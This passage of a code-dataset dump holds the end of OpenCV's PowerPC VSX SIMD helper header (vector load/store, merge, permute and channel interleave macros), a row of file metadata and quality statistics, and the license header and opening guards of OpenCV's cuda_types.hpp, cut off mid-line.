VSX_IMPL_CONV_ODD_2_4(rt, rg, fnm, fn2) \ VSX_FINLINE(rt) fnm(const rg& a) \ { \ rt v4 = fn2(a); \ return vec_sldw(v4, v4, 1); \ } VSX_IMPL_CONV_ODD_2_4(vec_float4, vec_double2, vec_cvfo, vec_cvf) VSX_IMPL_CONV_ODD_2_4(vec_float4, vec_dword2, vec_ctfo, vec_ctf) VSX_IMPL_CONV_ODD_2_4(vec_float4, vec_udword2, vec_ctfo, vec_ctf) VSX_IMPL_CONV_ODD_2_4(vec_int4, vec_double2, vec_ctso, vec_cts) VSX_IMPL_CONV_ODD_2_4(vec_uint4, vec_double2, vec_ctuo, vec_ctu) #endif // XLC VSX compatibility // ignore GCC warning that caused by -Wunused-but-set-variable in rare cases #if defined(__GNUG__) && !defined(__clang__) # define VSX_UNUSED(Tvec) Tvec __attribute__((__unused__)) #else // CLANG, XLC # define VSX_UNUSED(Tvec) Tvec #endif // gcc can find his way in casting log int and XLC, CLANG ambiguous #if defined(__clang__) || defined(__IBMCPP__) VSX_FINLINE(vec_udword2) vec_splats(uint64 v) { return vec_splats((unsigned long long) v); } VSX_FINLINE(vec_dword2) vec_splats(int64 v) { return vec_splats((long long) v); } VSX_FINLINE(vec_udword2) vec_promote(uint64 a, int b) { return vec_promote((unsigned long long) a, b); } VSX_FINLINE(vec_dword2) vec_promote(int64 a, int b) { return vec_promote((long long) a, b); } #endif /* * implement vsx_ld(offset, pointer), vsx_st(vector, offset, pointer) * load and set using offset depend on the pointer type * * implement vsx_ldf(offset, pointer), vsx_stf(vector, offset, pointer) * load and set using offset depend on fixed bytes size * * Note: In clang vec_xl and vec_xst fails to load unaligned addresses * so we are using vec_vsx_ld, vec_vsx_st instead */ #if defined(__clang__) && !defined(__IBMCPP__) # define vsx_ldf vec_vsx_ld # define vsx_stf vec_vsx_st #else // GCC , XLC # define vsx_ldf vec_xl # define vsx_stf vec_xst #endif #define VSX_OFFSET(o, p) ((o) * sizeof(*(p))) #define vsx_ld(o, p) vsx_ldf(VSX_OFFSET(o, p), p) #define vsx_st(v, o, p) vsx_stf(v, VSX_OFFSET(o, p), p) /* * implement vsx_ld2(offset, pointer), vsx_st2(vector, offset, pointer) to load and store double words * In GCC vec_xl and vec_xst it maps to vec_vsx_ld, vec_vsx_st which doesn't support long long * and in CLANG we are using vec_vsx_ld, vec_vsx_st because vec_xl, vec_xst fails to load unaligned addresses * * In XLC vec_xl and vec_xst fail to cast int64(long int) to long long */ #if (defined(__GNUG__) || defined(__clang__)) && !defined(__IBMCPP__) VSX_FINLINE(vec_udword2) vsx_ld2(long o, const uint64* p) { return vec_udword2_c(vsx_ldf(VSX_OFFSET(o, p), (unsigned int*)p)); } VSX_FINLINE(vec_dword2) vsx_ld2(long o, const int64* p) { return vec_dword2_c(vsx_ldf(VSX_OFFSET(o, p), (int*)p)); } VSX_FINLINE(void) vsx_st2(const vec_udword2& vec, long o, uint64* p) { vsx_stf(vec_uint4_c(vec), VSX_OFFSET(o, p), (unsigned int*)p); } VSX_FINLINE(void) vsx_st2(const vec_dword2& vec, long o, int64* p) { vsx_stf(vec_int4_c(vec), VSX_OFFSET(o, p), (int*)p); } #else // XLC VSX_FINLINE(vec_udword2) vsx_ld2(long o, const uint64* p) { return vsx_ldf(VSX_OFFSET(o, p), (unsigned long long*)p); } VSX_FINLINE(vec_dword2) vsx_ld2(long o, const int64* p) { return vsx_ldf(VSX_OFFSET(o, p), (long long*)p); } VSX_FINLINE(void) vsx_st2(const vec_udword2& vec, long o, uint64* p) { vsx_stf(vec, VSX_OFFSET(o, p), (unsigned long long*)p); } VSX_FINLINE(void) vsx_st2(const vec_dword2& vec, long o, int64* p) { vsx_stf(vec, VSX_OFFSET(o, p), (long long*)p); } #endif // Store lower 8 byte #define vec_st_l8(v, p) *((uint64*)(p)) = vec_extract(vec_udword2_c(v), 0) // Store higher 8 byte #define vec_st_h8(v, p) *((uint64*)(p)) = vec_extract(vec_udword2_c(v), 1) // Load 64-bits of integer data to lower part #define VSX_IMPL_LOAD_L8(Tvec, Tp) \ VSX_FINLINE(Tvec) vec_ld_l8(const Tp *p) \ { return ((Tvec)vec_promote(*((uint64*)p), 0)); } VSX_IMPL_LOAD_L8(vec_uchar16, uchar) VSX_IMPL_LOAD_L8(vec_char16, schar) VSX_IMPL_LOAD_L8(vec_ushort8, ushort) VSX_IMPL_LOAD_L8(vec_short8, short) VSX_IMPL_LOAD_L8(vec_uint4, uint) VSX_IMPL_LOAD_L8(vec_int4, int) VSX_IMPL_LOAD_L8(vec_float4, float) VSX_IMPL_LOAD_L8(vec_udword2, uint64) VSX_IMPL_LOAD_L8(vec_dword2, int64) VSX_IMPL_LOAD_L8(vec_double2, double) // logical not #define vec_not(a) vec_nor(a, a) // power9 yaya // not equal #ifndef vec_cmpne # define vec_cmpne(a, b) vec_not(vec_cmpeq(a, b)) #endif // absolute difference #ifndef vec_absd # define vec_absd(a, b) vec_sub(vec_max(a, b), vec_min(a, b)) #endif /* * Implement vec_unpacklu and vec_unpackhu * since vec_unpackl, vec_unpackh only support signed integers **/ #define VSX_IMPL_UNPACKU(rt, rg, zero) \ VSX_FINLINE(rt) vec_unpacklu(const rg& a) \ { return (rt)(vec_mergel(a, zero)); } \ VSX_FINLINE(rt) vec_unpackhu(const rg& a) \ { return (rt)(vec_mergeh(a, zero)); } VSX_IMPL_UNPACKU(vec_ushort8, vec_uchar16, vec_uchar16_z) VSX_IMPL_UNPACKU(vec_uint4, vec_ushort8, vec_ushort8_z) VSX_IMPL_UNPACKU(vec_udword2, vec_uint4, vec_uint4_z) /* * Implement vec_mergesqe and vec_mergesqo * Merges the sequence values of even and odd elements of two vectors */ #define VSX_IMPL_PERM(rt, fnm, ...) \ VSX_FINLINE(rt) fnm(const rt& a, const rt& b) \ { static const vec_uchar16 perm = {__VA_ARGS__}; return vec_perm(a, b, perm); } // 16 #define perm16_mergesqe 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30 #define perm16_mergesqo 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31 VSX_IMPL_PERM(vec_uchar16, vec_mergesqe, perm16_mergesqe) VSX_IMPL_PERM(vec_uchar16, vec_mergesqo, perm16_mergesqo) VSX_IMPL_PERM(vec_char16, vec_mergesqe, perm16_mergesqe) VSX_IMPL_PERM(vec_char16, vec_mergesqo, perm16_mergesqo) // 8 #define perm8_mergesqe 0, 1, 4, 5, 8, 9, 12, 13, 16, 17, 20, 21, 24, 25, 28, 29 #define perm8_mergesqo 2, 3, 6, 7, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31 VSX_IMPL_PERM(vec_ushort8, vec_mergesqe, perm8_mergesqe) VSX_IMPL_PERM(vec_ushort8, vec_mergesqo, perm8_mergesqo) VSX_IMPL_PERM(vec_short8, vec_mergesqe, perm8_mergesqe) VSX_IMPL_PERM(vec_short8, vec_mergesqo, perm8_mergesqo) // 4 #define perm4_mergesqe 0, 1, 2, 3, 8, 9, 10, 11, 16, 17, 18, 19, 24, 25, 26, 27 #define perm4_mergesqo 4, 5, 6, 7, 12, 13, 14, 15, 20, 21, 22, 23, 28, 29, 30, 31 VSX_IMPL_PERM(vec_uint4, vec_mergesqe, perm4_mergesqe) VSX_IMPL_PERM(vec_uint4, vec_mergesqo, perm4_mergesqo) VSX_IMPL_PERM(vec_int4, vec_mergesqe, perm4_mergesqe) VSX_IMPL_PERM(vec_int4, vec_mergesqo, perm4_mergesqo) VSX_IMPL_PERM(vec_float4, vec_mergesqe, perm4_mergesqe) VSX_IMPL_PERM(vec_float4, vec_mergesqo, perm4_mergesqo) // 2 VSX_REDIRECT_2RG(vec_double2, vec_double2, vec_mergesqe, vec_mergeh) VSX_REDIRECT_2RG(vec_double2, vec_double2, vec_mergesqo, vec_mergel) VSX_REDIRECT_2RG(vec_dword2, vec_dword2, vec_mergesqe, vec_mergeh) VSX_REDIRECT_2RG(vec_dword2, vec_dword2, vec_mergesqo, vec_mergel) VSX_REDIRECT_2RG(vec_udword2, vec_udword2, vec_mergesqe, vec_mergeh) VSX_REDIRECT_2RG(vec_udword2, vec_udword2, vec_mergesqo, vec_mergel) /* * Implement vec_mergesqh and vec_mergesql * Merges the sequence most and least significant halves of two vectors */ #define VSX_IMPL_MERGESQHL(Tvec) \ VSX_FINLINE(Tvec) vec_mergesqh(const Tvec& a, const Tvec& b) \ { return (Tvec)vec_mergeh(vec_udword2_c(a), vec_udword2_c(b)); } \ VSX_FINLINE(Tvec) vec_mergesql(const Tvec& a, const Tvec& b) \ { return (Tvec)vec_mergel(vec_udword2_c(a), vec_udword2_c(b)); } VSX_IMPL_MERGESQHL(vec_uchar16) VSX_IMPL_MERGESQHL(vec_char16) VSX_IMPL_MERGESQHL(vec_ushort8) VSX_IMPL_MERGESQHL(vec_short8) VSX_IMPL_MERGESQHL(vec_uint4) VSX_IMPL_MERGESQHL(vec_int4) VSX_IMPL_MERGESQHL(vec_float4) VSX_REDIRECT_2RG(vec_udword2, vec_udword2, vec_mergesqh, vec_mergeh) VSX_REDIRECT_2RG(vec_udword2, vec_udword2, vec_mergesql, vec_mergel) VSX_REDIRECT_2RG(vec_dword2, vec_dword2, vec_mergesqh, vec_mergeh) VSX_REDIRECT_2RG(vec_dword2, vec_dword2, vec_mergesql, vec_mergel) VSX_REDIRECT_2RG(vec_double2, vec_double2, vec_mergesqh, vec_mergeh) VSX_REDIRECT_2RG(vec_double2, vec_double2, vec_mergesql, vec_mergel) // 2 and 4 channels interleave for all types except 2 lanes #define VSX_IMPL_ST_INTERLEAVE(Tp, Tvec) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, Tp* ptr) \ { \ vsx_stf(vec_mergeh(a, b), 0, ptr); \ vsx_stf(vec_mergel(a, b), 16, ptr); \ } \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, const Tvec& d, Tp* ptr) \ { \ Tvec ac = vec_mergeh(a, c); \ Tvec bd = vec_mergeh(b, d); \ vsx_stf(vec_mergeh(ac, bd), 0, ptr); \ vsx_stf(vec_mergel(ac, bd), 16, ptr); \ ac = vec_mergel(a, c); \ bd = vec_mergel(b, d); \ vsx_stf(vec_mergeh(ac, bd), 32, ptr); \ vsx_stf(vec_mergel(ac, bd), 48, ptr); \ } VSX_IMPL_ST_INTERLEAVE(uchar, vec_uchar16) VSX_IMPL_ST_INTERLEAVE(schar, vec_char16) VSX_IMPL_ST_INTERLEAVE(ushort, vec_ushort8) VSX_IMPL_ST_INTERLEAVE(short, vec_short8) VSX_IMPL_ST_INTERLEAVE(uint, vec_uint4) VSX_IMPL_ST_INTERLEAVE(int, vec_int4) VSX_IMPL_ST_INTERLEAVE(float, vec_float4) // 2 and 4 channels deinterleave for 16 lanes #define VSX_IMPL_ST_DINTERLEAVE_8(Tp, Tvec) \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b) \ { \ Tvec v0 = vsx_ld(0, ptr); \ Tvec v1 = vsx_ld(16, ptr); \ a = vec_mergesqe(v0, v1); \ b = vec_mergesqo(v0, v1); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, \ Tvec& c, Tvec& d) \ { \ Tvec v0 = vsx_ld(0, ptr); \ Tvec v1 = vsx_ld(16, ptr); \ Tvec v2 = vsx_ld(32, ptr); \ Tvec v3 = vsx_ld(48, ptr); \ Tvec m0 = vec_mergesqe(v0, v1); \ Tvec m1 = vec_mergesqe(v2, v3); \ a = vec_mergesqe(m0, m1); \ c = vec_mergesqo(m0, m1); \ m0 = vec_mergesqo(v0, v1); \ m1 = vec_mergesqo(v2, v3); \ b = vec_mergesqe(m0, m1); \ d = vec_mergesqo(m0, m1); \ } VSX_IMPL_ST_DINTERLEAVE_8(uchar, vec_uchar16) VSX_IMPL_ST_DINTERLEAVE_8(schar, vec_char16) // 2 and 4 channels deinterleave for 8 lanes #define VSX_IMPL_ST_DINTERLEAVE_16(Tp, Tvec) \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b) \ { \ Tvec v0 = vsx_ld(0, ptr); \ Tvec v1 = vsx_ld(8, ptr); \ a = vec_mergesqe(v0, v1); \ b = vec_mergesqo(v0, v1); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, \ Tvec& c, Tvec& d) \ { \ Tvec v0 = vsx_ld(0, ptr); \ Tvec v1 = vsx_ld(8, ptr); \ Tvec m0 = vec_mergeh(v0, v1); \ Tvec m1 = vec_mergel(v0, v1); \ Tvec ab0 = vec_mergeh(m0, m1); \ Tvec cd0 = vec_mergel(m0, m1); \ v0 = vsx_ld(16, ptr); \ v1 = vsx_ld(24, ptr); \ m0 = vec_mergeh(v0, v1); \ m1 = vec_mergel(v0, v1); \ Tvec ab1 = vec_mergeh(m0, m1); \ Tvec cd1 = vec_mergel(m0, m1); \ a = vec_mergesqh(ab0, ab1); \ b = vec_mergesql(ab0, ab1); \ c = vec_mergesqh(cd0, cd1); \ d = vec_mergesql(cd0, cd1); \ } VSX_IMPL_ST_DINTERLEAVE_16(ushort, vec_ushort8) VSX_IMPL_ST_DINTERLEAVE_16(short, vec_short8) // 2 and 4 channels deinterleave for 4 lanes #define VSX_IMPL_ST_DINTERLEAVE_32(Tp, Tvec) \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b) \ { \ a = vsx_ld(0, ptr); \ b = vsx_ld(4, ptr); \ Tvec m0 = vec_mergeh(a, b); \ Tvec m1 = vec_mergel(a, b); \ a = vec_mergeh(m0, m1); \ b = vec_mergel(m0, m1); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, \ Tvec& c, Tvec& d) \ { \ Tvec v0 = vsx_ld(0, ptr); \ Tvec v1 = vsx_ld(4, ptr); \ Tvec v2 = vsx_ld(8, ptr); \ Tvec v3 = vsx_ld(12, ptr); \ Tvec m0 = vec_mergeh(v0, v2); \ Tvec m1 = vec_mergeh(v1, v3); \ a = vec_mergeh(m0, m1); \ b = vec_mergel(m0, m1); \ m0 = vec_mergel(v0, v2); \ m1 = vec_mergel(v1, v3); \ c = vec_mergeh(m0, m1); \ d = vec_mergel(m0, m1); \ } VSX_IMPL_ST_DINTERLEAVE_32(uint, vec_uint4) VSX_IMPL_ST_DINTERLEAVE_32(int, vec_int4) VSX_IMPL_ST_DINTERLEAVE_32(float, vec_float4) // 2 and 4 channels interleave and deinterleave for 2 lanes #define VSX_IMPL_ST_D_INTERLEAVE_64(Tp, Tvec, ld_func, st_func) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, Tp* ptr) \ { \ st_func(vec_mergeh(a, b), 0, ptr); \ st_func(vec_mergel(a, b), 2, ptr); \ } \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, const Tvec& d, Tp* ptr) \ { \ st_func(vec_mergeh(a, b), 0, ptr); \ st_func(vec_mergeh(c, d), 2, ptr); \ st_func(vec_mergel(a, b), 4, ptr); \ st_func(vec_mergel(c, d), 6, ptr); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b) \ { \ Tvec m0 = ld_func(0, ptr); \ Tvec m1 = ld_func(2, ptr); \ a = vec_mergeh(m0, m1); \ b = vec_mergel(m0, m1); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, \ Tvec& c, Tvec& d) \ { \ Tvec v0 = ld_func(0, ptr); \ Tvec v1 = ld_func(2, ptr); \ Tvec v2 = ld_func(4, ptr); \ Tvec v3 = ld_func(6, ptr); \ a = vec_mergeh(v0, v2); \ b = vec_mergel(v0, v2); \ c = vec_mergeh(v1, v3); \ d = vec_mergel(v1, v3); \ } VSX_IMPL_ST_D_INTERLEAVE_64(int64, vec_dword2, vsx_ld2, vsx_st2) VSX_IMPL_ST_D_INTERLEAVE_64(uint64, vec_udword2, vsx_ld2, vsx_st2) VSX_IMPL_ST_D_INTERLEAVE_64(double, vec_double2, vsx_ld, vsx_st) /* 3 channels */ #define VSX_IMPL_ST_INTERLEAVE_3CH_16(Tp, Tvec) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, Tp* ptr) \ { \ static const vec_uchar16 a12 = {0, 16, 0, 1, 17, 0, 2, 18, 0, 3, 19, 0, 4, 20, 0, 5}; \ static const vec_uchar16 a123 = {0, 1, 16, 3, 4, 17, 6, 7, 18, 9, 10, 19, 12, 13, 20, 15}; \ vsx_st(vec_perm(vec_perm(a, b, a12), c, a123), 0, ptr); \ static const vec_uchar16 b12 = {21, 0, 6, 22, 0, 7, 23, 0, 8, 24, 0, 9, 25, 0, 10, 26}; \ static const vec_uchar16 b123 = {0, 21, 2, 3, 22, 5, 6, 23, 8, 9, 24, 11, 12, 25, 14, 15}; \ vsx_st(vec_perm(vec_perm(a, b, b12), c, b123), 16, ptr); \ static const vec_uchar16 c12 = {0, 11, 27, 0, 12, 28, 0, 13, 29, 0, 14, 30, 0, 15, 31, 0}; \ static const vec_uchar16 c123 = {26, 1, 2, 27, 4, 5, 28, 7, 8, 29, 10, 11, 30, 13, 14, 31}; \ vsx_st(vec_perm(vec_perm(a, b, c12), c, c123), 32, ptr); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, Tvec& c) \ { \ Tvec v1 = vsx_ld(0, ptr); \ Tvec v2 = vsx_ld(16, ptr); \ Tvec v3 = vsx_ld(32, ptr); \ static const vec_uchar16 a12_perm = {0, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 0, 0, 0, 0, 0}; \ static const vec_uchar16 a123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 17, 20, 23, 26, 29}; \ a = vec_perm(vec_perm(v1, v2, a12_perm), v3, a123_perm); \ static const vec_uchar16 b12_perm = {1, 4, 7, 10, 13, 16, 19, 22, 25, 28, 31, 0, 0, 0, 0, 0}; \ static const vec_uchar16 b123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 18, 21, 24, 27, 30}; \ b = vec_perm(vec_perm(v1, v2, b12_perm), v3, b123_perm); \ static const vec_uchar16 c12_perm = {2, 5, 8, 11, 14, 17, 20, 23, 26, 29, 0, 0, 0, 0, 0, 0}; \ static const vec_uchar16 c123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 16, 19, 22, 25, 28, 31}; \ c = vec_perm(vec_perm(v1, v2, c12_perm), v3, c123_perm); \ } VSX_IMPL_ST_INTERLEAVE_3CH_16(uchar, vec_uchar16) VSX_IMPL_ST_INTERLEAVE_3CH_16(schar, vec_char16) #define VSX_IMPL_ST_INTERLEAVE_3CH_8(Tp, Tvec) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, Tp* ptr) \ { \ static const vec_uchar16 a12 = {0, 1, 16, 17, 0, 0, 2, 3, 18, 19, 0, 0, 4, 5, 20, 21}; \ static const vec_uchar16 a123 = {0, 1, 2, 3, 16, 17, 6, 7, 8, 9, 18, 19, 12, 13, 14, 15}; \ vsx_st(vec_perm(vec_perm(a, b, a12), c, a123), 0, ptr); \ static const vec_uchar16 b12 = {0, 0, 6, 7, 22, 23, 0, 0, 8, 9, 24, 25, 0, 0, 10, 11}; \ static const vec_uchar16 b123 = {20, 21, 2, 3, 4, 5, 22, 23, 8, 9, 10, 11, 24, 25, 14, 15}; \ vsx_st(vec_perm(vec_perm(a, b, b12), c, b123), 8, ptr); \ static const vec_uchar16 c12 = {26, 27, 0, 0, 12, 13, 28, 29, 0, 0, 14, 15, 30, 31, 0, 0}; \ static const vec_uchar16 c123 = {0, 1, 26, 27, 4, 5, 6, 7, 28, 29, 10, 11, 12, 13, 30, 31}; \ vsx_st(vec_perm(vec_perm(a, b, c12), c, c123), 16, ptr); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, Tvec& c) \ { \ Tvec v1 = vsx_ld(0, ptr); \ Tvec v2 = vsx_ld(8, ptr); \ Tvec v3 = vsx_ld(16, ptr); \ static const vec_uchar16 a12_perm = {0, 1, 6, 7, 12, 13, 18, 19, 24, 25, 30, 31, 0, 0, 0, 0}; \ static const vec_uchar16 a123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 20, 21, 26, 27}; \ a = vec_perm(vec_perm(v1, v2, a12_perm), v3, a123_perm); \ static const vec_uchar16 b12_perm = {2, 3, 8, 9, 14, 15, 20, 21, 26, 27, 0, 0, 0, 0, 0, 0}; \ static const vec_uchar16 b123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 16, 17, 22, 23, 28, 29}; \ b = vec_perm(vec_perm(v1, v2, b12_perm), v3, b123_perm); \ static const vec_uchar16 c12_perm = {4, 5, 10, 11, 16, 17, 22, 23, 28, 29, 0, 0, 0, 0, 0, 0}; \ static const vec_uchar16 c123_perm = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 18, 19, 24, 25, 30, 31}; \ c = vec_perm(vec_perm(v1, v2, c12_perm), v3, c123_perm); \ } VSX_IMPL_ST_INTERLEAVE_3CH_8(ushort, vec_ushort8) VSX_IMPL_ST_INTERLEAVE_3CH_8(short, vec_short8) #define VSX_IMPL_ST_INTERLEAVE_3CH_4(Tp, Tvec) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, Tp* ptr) \ { \ Tvec hbc = vec_mergeh(b, c); \ static const vec_uchar16 ahbc = {0, 1, 2, 3, 16, 17, 18, 19, 20, 21, 22, 23, 4, 5, 6, 7}; \ vsx_st(vec_perm(a, hbc, ahbc), 0, ptr); \ Tvec lab = vec_mergel(a, b); \ vsx_st(vec_sld(lab, hbc, 8), 4, ptr); \ static const vec_uchar16 clab = {8, 9, 10, 11, 24, 25, 26, 27, 28, 29, 30, 31, 12, 13, 14, 15};\ vsx_st(vec_perm(c, lab, clab), 8, ptr); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, Tvec& b, Tvec& c) \ { \ Tvec v1 = vsx_ld(0, ptr); \ Tvec v2 = vsx_ld(4, ptr); \ Tvec v3 = vsx_ld(8, ptr); \ static const vec_uchar16 flp = {0, 1, 2, 3, 12, 13, 14, 15, 16, 17, 18, 19, 28, 29, 30, 31}; \ a = vec_perm(v1, vec_sld(v3, v2, 8), flp); \ static const vec_uchar16 flp2 = {28, 29, 30, 31, 0, 1, 2, 3, 12, 13, 14, 15, 16, 17, 18, 19}; \ b = vec_perm(v2, vec_sld(v1, v3, 8), flp2); \ c = vec_perm(vec_sld(v2, v1, 8), v3, flp); \ } VSX_IMPL_ST_INTERLEAVE_3CH_4(uint, vec_uint4) VSX_IMPL_ST_INTERLEAVE_3CH_4(int, vec_int4) VSX_IMPL_ST_INTERLEAVE_3CH_4(float, vec_float4) #define VSX_IMPL_ST_INTERLEAVE_3CH_2(Tp, Tvec, ld_func, st_func) \ VSX_FINLINE(void) vec_st_interleave(const Tvec& a, const Tvec& b, \ const Tvec& c, Tp* ptr) \ { \ st_func(vec_mergeh(a, b), 0, ptr); \ st_func(vec_permi(c, a, 1), 2, ptr); \ st_func(vec_mergel(b, c), 4, ptr); \ } \ VSX_FINLINE(void) vec_ld_deinterleave(const Tp* ptr, Tvec& a, \ Tvec& b, Tvec& c) \ { \ Tvec v1 = ld_func(0, ptr); \ Tvec v2 = ld_func(2, ptr); \ Tvec v3 = ld_func(4, ptr); \ a = vec_permi(v1, v2, 1); \ b = vec_permi(v1, v3, 2); \ c = vec_permi(v2, v3, 1); \ } VSX_IMPL_ST_INTERLEAVE_3CH_2(int64, vec_dword2, vsx_ld2, vsx_st2) VSX_IMPL_ST_INTERLEAVE_3CH_2(uint64, vec_udword2, vsx_ld2, vsx_st2) VSX_IMPL_ST_INTERLEAVE_3CH_2(double, vec_double2, vsx_ld, vsx_st) #endif // CV_VSX //! @} #endif // OPENCV_HAL_VSX_UTILS_HPP
51,571
vsx_utils
hpp
en
cpp
code
{"qsc_code_num_words": 7081, "qsc_code_num_chars": 51571.0, "qsc_code_mean_word_length": 3.75766135, "qsc_code_frac_words_unique": 0.07569552, "qsc_code_frac_chars_top_2grams": 0.05182652, "qsc_code_frac_chars_top_3grams": 0.02442874, "qsc_code_frac_chars_top_4grams": 0.01916717, "qsc_code_frac_chars_dupe_5grams": 0.59294197, "qsc_code_frac_chars_dupe_6grams": 0.50819302, "qsc_code_frac_chars_dupe_7grams": 0.40671978, "qsc_code_frac_chars_dupe_8grams": 0.34515935, "qsc_code_frac_chars_dupe_9grams": 0.2636801, "qsc_code_frac_chars_dupe_10grams": 0.21508569, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.06977901, "qsc_code_frac_chars_whitespace": 0.33751527, "qsc_code_size_file_byte": 51571.0, "qsc_code_num_lines": 1040.0, "qsc_code_num_chars_line_max": 119.0, "qsc_code_num_chars_line_mean": 49.5875, "qsc_code_frac_chars_alphabet": 0.70902971, "qsc_code_frac_chars_comments": 0.11940819, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24078947, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0026204, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00192308, "qsc_code_frac_lines_assert": 0.00263158, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.20657895, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.21184211, "qsc_codecpp_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/cuda_types.hpp
/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2000-2008, Intel Corporation, all rights reserved. // Copyright (C) 2009, Willow Garage Inc., all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of the copyright holders may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ #ifndef OPENCV_CORE_CUDA_TYPES_HPP #define OPENCV_CORE_CUDA_TYPES_HPP #ifndef __cplusplus # error cuda_types.hpp header must be compiled as C++ #endif #if defined(__OPENCV_BUILD) && defined(__clang__) #pragma clang diagnostic ignored "-Winconsistent-missing-override" #endif #if defined(__OPENCV_BUILD) && defined(__GNUC__) && __GNUC__ >= 5 #pragma GCC diagnostic ignored "-Wsuggest-override" #endif /** @file * @deprecated Use @ref cudev instead. */ //! @cond IGNORED #ifdef __CUDACC__ #define 